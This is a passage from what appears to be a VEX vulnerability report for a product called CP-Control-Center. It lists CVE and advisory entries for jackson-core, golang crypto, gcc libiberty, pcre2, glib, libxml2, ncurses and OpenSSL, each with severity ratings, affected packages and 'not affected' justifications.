`NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n int negMod = _numberNegative ? -1 : 0;\n\n while (true) {\n if (_inputPtr >= _inputEnd) {\n _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n _textBuffer.setCurrentLength(outPtr);\n+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n return _updateTokenToNA();\n }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.8, 2.21.4", "advisories": [ { "url": "https://github.com/advisories/GHSA-r7wm-3cxj-wff9" }, { "url": "https://github.com/FasterXML/jackson-core" }, { "url": "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd" }, { "url": "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641" }, { "url": "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8" }, { "url": "https://github.com/FasterXML/jackson-core/pull/1611" }, { "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9" } ], "published": "2026-07-21T21:58:53+00:00", "updated": "2026-08-03T20:30:41+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-core@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. The non-blocking parser API is unused, and the resolved version is already patched." } }, { "id": "GO-2026-5932", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [], "description": "The golang.org/x/crypto/openpgp package is unsafe by design, has numerous known security issues, is not maintained, and should not be used.\n\nIf you are required to interoperate with OpenPGP systems and need a maintained package, consider github.com/ProtonMail/go-crypto/openpgp which is a maintained fork that aims to be a drop-in replacement for this package.", "advisories": [ { "url": "https://go.dev/issue/44226" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5932" } ], "affects": [ { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.51.0", "versions": [ { "version": "v0.51.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/crypto@v0.52.0", "versions": [ { "version": "v0.52.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.52.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/crypto@v0.51.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/golang.org/x/crypto@v0.52.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2021-46195", "ratings": [ { "source": { "name": "alma" }, "severity": "low" }, { "source": { "name": "nvd" }, "score": 4.3, "severity": "medium", "method": "CVSSv2", "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P" }, { "source": { "name": "nvd" }, "score": 5.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "low" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 3.3, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 674 ], "description": "GCC v12.0 was discovered to contain an uncontrolled recursion via the component libiberty/rust-demangle.c. This vulnerability allows attackers to cause a Denial of Service (DoS) by consuming excessive CPU and memory resources.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2021-46195" }, { "url": "https://access.redhat.com/errata/RHSA-2022:8415" }, { "url": "https://access.redhat.com/security/cve/CVE-2021-46195" }, { "url": "https://bugzilla.redhat.com/2046300" }, { "url": "https://errata.almalinux.org/9/ALSA-2022-8415.html" }, { "url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=103841" }, { "url": "https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=f10bec5ffa487ad3033ed5f38cfd0fc7d696deab" }, { "url": "https://linux.oracle.com/cve/CVE-2021-46195.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2022-8415.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46195" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2021-46195" } ], "published": "2022-01-14T20:15:15+00:00", "updated": "2026-06-17T04:14:38+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "11.5.0-14.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/libstdc%2B%2B@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "11.5.0-14.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libstdc%2B%2B@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2022-27943", "ratings": [ { "source": { "name": "amazon" }, "severity": "low" }, { "source": { "name": "nvd" }, "score": 4.3, "severity": "medium", "method": "CVSSv2", "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P" }, { "source": { "name": "nvd" }, "score": 5.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 5.5, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 674 ], "description": "libiberty/rust-demangle.c in GNU GCC 11.2 allows stack consumption in demangle_const, as demonstrated by nm-new.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2022-27943" }, { "url": "https://access.redhat.com/security/cve/CVE-2022-27943" }, { "url": "https://gcc.gnu.org/bugzilla/show_bug.cgi?id=105039" }, { "url": "https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=1a770b01ef415e114164b6151d1e55acdee09371" }, { "url": "https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=9234cdca6ee88badfc00297e72f13dac4e540c79" }, { "url": "https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=fc968115a742d9e4674d9725ce9c2106b91b6ead" }, { "url": "https://gcc.gnu.org/pipermail/gcc-patches/2022-March/592244.html" }, { "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H424YXGW7OKXS2NCAP35OP6Y4P4AW6VG/" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27943" }, { "url": "https://sourceware.org/bugzilla/show_bug.cgi?id=28995" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2022-27943" } ], "published": "2022-03-26T13:15:07+00:00", "updated": "2026-06-17T04:37:46+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "11.5.0-14.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/libstdc%2B%2B@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "11.5.0-14.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libstdc%2B%2B@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/libgcc@11.5.0-14.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2022-41409", "ratings": [ { "source": { "name": "amazon" }, "severity": "low" }, { "source": { "name": "cbl-mariner" }, "severity": "high" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 190 ], "description": "Integer overflow vulnerability in pcre2test before 10.41 allows attackers to cause a denial of service or other unspecified impacts via negative input.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2022-41409" }, { "url": "https://access.redhat.com/security/cve/CVE-2022-41409" }, { "url": "https://github.com/PCRE2Project/pcre2/commit/94e1c001761373b7d9450768aa15d04c25547a35" }, { "url": "https://github.com/PCRE2Project/pcre2/issues/141" }, { "url": "https://github.com/advisories/GHSA-4qfx-v7wh-3q4j" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41409" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2022-41409" } ], "published": "2023-07-18T14:15:12+00:00", "updated": "2026-06-17T05:03:09+00:00", "affects": [ { "ref": "pkg:rpm/redhat/pcre2-syntax@10.40-6.el9?arch=noarch&distro=redhat-9.8", "versions": [ { "version": "10.40-6.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/pcre2@10.40-6.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "10.40-6.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/pcre2-syntax@10.40-6.el9?arch=noarch&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/pcre2@10.40-6.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/pcre2-syntax@10.40-6.el9?arch=noarch&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/pcre2@10.40-6.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/pcre2-syntax@10.40-6.el9?arch=noarch&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/pcre2@10.40-6.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2023-32636", "ratings": [ { "source": { "name": "alma" }, "severity": "low" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "cbl-mariner" }, "severity": "high" }, { "source": { "name": "julia" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "low" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 6.2, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 400, 502 ], "description": "A flaw was found in glib, where the gvariant deserialization code is vulnerable to a denial of service introduced by additional input validation added to resolve CVE-2023-29499. The offset table validation may be very slow. This bug does not affect any released version of glib but does affect glib distributors who followed the guidance of glib developers to backport the initial fix for CVE-2023-29499.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2023-32636" }, { "url": "https://access.redhat.com/errata/RHSA-2024:2528" }, { "url": "https://access.redhat.com/security/cve/CVE-2023-32636" }, { "url": "https://bugzilla.redhat.com/2211827" }, { "url": "https://bugzilla.redhat.com/2211828" }, { "url": "https://bugzilla.redhat.com/2211829" }, { "url": "https://bugzilla.redhat.com/2211833" }, { "url": "https://discourse.gnome.org/t/multiple-fixes-for-gvariant-normalisation-issues-in-glib/12835" }, { "url": "https://errata.almalinux.org/9/ALSA-2024-2528.html" }, { "url": "https://gitlab.gnome.org/GNOME/glib/-/issues/2841" }, { "url": "https://https://discourse.gnome.org/t/multiple-fixes-for-gvariant-normalisation-issues-in-glib/12835" }, { "url": "https://linux.oracle.com/cve/CVE-2023-32636.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2024-2528.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32636" }, { "url": "https://security.netapp.com/advisory/ntap-20231110-0002/" }, { "url": "https://ubuntu.com/security/notices/USN-6165-1" }, { "url": "https://ubuntu.com/security/notices/USN-6165-2" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2023-32636" } ], "published": "2023-09-14T20:15:09+00:00", "updated": "2026-06-17T05:59:16+00:00", "affects": [ { "ref": "pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.68.4-19.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/glib2@2.68.4-19.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2023-45322", "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "nvd" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 5.9, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 416 ], "description": "libxml2 through 2.11.5 has a use-after-free that can only occur after a certain memory allocation fails. This occurs in xmlUnlinkNode in tree.c. NOTE: the vendor's position is \"I don't think these issues are critical enough to warrant a CVE ID ... because an attacker typically can't control when memory allocations fail.\"", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2023-45322" }, { "url": "http://www.openwall.com/lists/oss-security/2023/10/06/5" }, { "url": "https://access.redhat.com/security/cve/CVE-2023-45322" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/344" }, { "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/583" }, { "url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00028.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45322" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2023-45322" } ], "published": "2023-10-06T22:15:11+00:00", "updated": "2026-06-17T06:28:37+00:00", "affects": [ { "ref": "pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "2.9.13-14.el9_8.1", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/libxml2@2.9.13-14.el9_8.1?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2023-50495", "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "nvd" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "description": "NCurse v6.4-20230418 was discovered to contain a segmentation fault via the component _nc_wrap_entry().", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2023-50495" }, { "url": "https://access.redhat.com/security/cve/CVE-2023-50495" }, { "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LU4MYMKFEZQ5VSCVLRIZGDQOUW3T44GT/" }, { "url": "https://lists.gnu.org/archive/html/bug-ncurses/2023-04/msg00020.html" }, { "url": "https://lists.gnu.org/archive/html/bug-ncurses/2023-04/msg00029.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50495" }, { "url": "https://security.netapp.com/advisory/ntap-20240119-0008/" }, { "url": "https://ubuntu.com/security/notices/USN-6684-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2023-50495" } ], "published": "2023-12-12T15:15:07+00:00", "updated": "2026-06-17T06:39:44+00:00", "affects": [ { "ref": "pkg:rpm/redhat/ncurses-base@6.2-12.20210508.el9?arch=noarch&distro=redhat-9.8", "versions": [ { "version": "6.2-12.20210508.el9", "status": "affected" } ] }, { "ref": "pkg:rpm/redhat/ncurses-libs@6.2-12.20210508.el9?arch=x86_64&distro=redhat-9.8", "versions": [ { "version": "6.2-12.20210508.el9", "status": "affected" } ] }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/ncurses-base@6.2-12.20210508.el9?arch=noarch&distro=redhat-9.8" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:rpm/redhat/ncurses-libs@6.2-12.20210508.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/ncurses-base@6.2-12.20210508.el9?arch=noarch&distro=redhat-9.8" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:rpm/redhat/ncurses-libs@6.2-12.20210508.el9?arch=x86_64&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/ncurses-base@6.2-12.20210508.el9?arch=noarch&distro=redhat-9.8" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:rpm/redhat/ncurses-libs@6.2-12.20210508.el9?arch=x86_64&distro=redhat-9.8" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available from the vendor. The affected component is an operating-system base-image package that the product's application code does not use, so the vulnerable code path is not reachable." } }, { "id": "CVE-2024-13176", "ratings": [ { "source": { "name": "alma" }, "severity": "medium" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "cbl-mariner" }, "severity": "medium" }, { "source": { "name": "julia" }, "score": 4.1, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L" }, { "source": { "name": "oracle-oval" }, "severity": "medium" }, { "source": { "name": "photon" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 4.7, "severity": "low", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "rocky" }, "severity": "medium" }, { "source": { "name": "ubuntu" }, "severity": "low" } ], "cwes": [ 385 ], "description": "Issue summary: A timing side-channel which could potentially allow recovering\nthe private key exists in the ECDSA signature computation.\n\nImpact summary: A timing side-channel in ECDSA signature computations\ncould allow recovering the private key by an attacker. However, measuring\nthe timing would require either local access to the signing application or\na very fast network connection with low latency.\n\nThere is a timing signal of around 300 nanoseconds when the top word of\nthe inverted ECDSA nonce value is zero. This can happen with significant\nprobability only for some of the supported elliptic curves. In particular\nthe NIST P-521 curve is affected. To be able to measure this leak, the attacker\nprocess must either be located in the same physical computer or must\nhave a very fast network connection with low latency. For that reason\nthe severity of this vulnerability is Low.\n\nThe FIPS modules in 3.4, 3.3, 3.2, 3.1 and 3.0 are affected by this issue.", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2024-13176" }, { "url": "http://www.openwall.com/lists/oss-security/2025/01/20/2" }, { "url": "https://access.redhat.com/errata/RHSA-2025:15699" }, { "url": "https://access.redhat.com/errata/RHSA-2025:16046" }, { "url": "https://access.redhat.com/security/cve/CVE-2024-13176" }, { "url": "https://bugzilla.redhat.com/2359885" }, { "url": "https://bugzilla.redhat.com/2359888" }, { "url": "https://bugzilla.redhat.com/2359892" }, { "url": "https://bugzilla.redhat.com/2359894" }, { "url": "https://bugzilla.redhat.com/2359895" }, { "url": "https://bugzilla.redhat.com/2359899" }, { "url": "https://bugzilla.redhat.com/2359900" }, { "url": "https://bugzilla.redhat.com/2359902" }, { "url": "https://bugzilla.redhat.com/2359903" }, { "url": "https://bugzilla.redhat.com/2359911" }, { "url": "https://bugzilla.redhat.com/2359918" }, { "url": "https://bugzilla.redhat.com/2359920" }, { "url": "https://bugzilla.redhat.com/2359924" }, { "url": "https://bugzilla.redhat.com/2359928" }, { "url": "https://bugzilla.redhat.com/2359930" }, { "url": "https://bugzilla.redhat.com/2359932" }, { "url": "https://bugzilla.redhat.com/2359934" }, { "url": "https://bugzilla.redhat.com/2359938" }, { "url": "https://bugzilla.redhat.com/2359940" }, { "url": "https://bugzilla.redhat.com/2359943" }, { "url": "https://bugzilla.redhat.com/2359944" }, { "url": "https://bugzilla.redhat.com/2359945" }, { "url": "https://bugzilla.redhat.com/2359947" }, { "url": "https://bugzilla.redhat.com/2359950" }, { "url": "https://bugzilla.redhat.com/2359963" }, { "url": "https://bugzilla.redhat.com/2359964" }, { "url": "https://bugzilla.redhat.com/2359972" }, { "url": "https://bugzilla.redhat.com/2370920" }, { "url": "https://bugzilla.redhat.com/2380264" }, { "url": "https://bugzilla.redhat.com/2380273" }, { "url": "https://bugzilla.redhat.com/2380274" }, { "url": "https://bugzilla.redhat.com/2380278" }, { "url": "https://bugzilla.redhat.com/2380280" }, { "url": "https://bugzilla.redhat.com/2380283" }, { "url": "https://bugzilla.redhat.com/2380284" }, { "url": "https://bugzilla.redhat.com/2380290" }, { "url": "https://bugzilla.redhat.com/2380291" }, { "url": "https://bugzilla.redhat.com/2380295" }, { "url": "https://bugzilla.redhat.com/2380298" }, { "url": "https://bugzilla.redhat.com/2380306" }, { "url": "https://bugzilla.redhat.com/2380308" }, { "url": "https://bugzilla.redhat.com/2380309" }, { "url": "https://bugzilla.redhat.com/2380310" }, { "url": "https://bugzilla.redhat.com/2380312" }, { "url": "https://bugzilla.redhat.com/2380313" }, { "url": "https://bugzilla.redhat.com/2380320" }, { "url": "https://bugzilla.redhat.com/2380321" }, { "url": "https://bugzilla.redhat.com/2380322" }, { "url": "https://bugzilla.redhat.com/2380326" }, { "url": "https://bugzilla.redhat.com/2380327" }, { "url": "https://bugzilla.redhat.com/2380334" }, { "url": "https://bugzilla.redhat.com/2380335" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2338999" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359885" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359888" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359892" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359894" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359895" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359899" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359900" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359902" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359903" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359911" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359918" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359920" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359924" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359928" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359930" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359932" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359934" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359938" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359940" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359943" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359944" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359945" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359947" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359950" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359963" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359964" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359972" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2370920" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380264" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2380273" }, { "url": 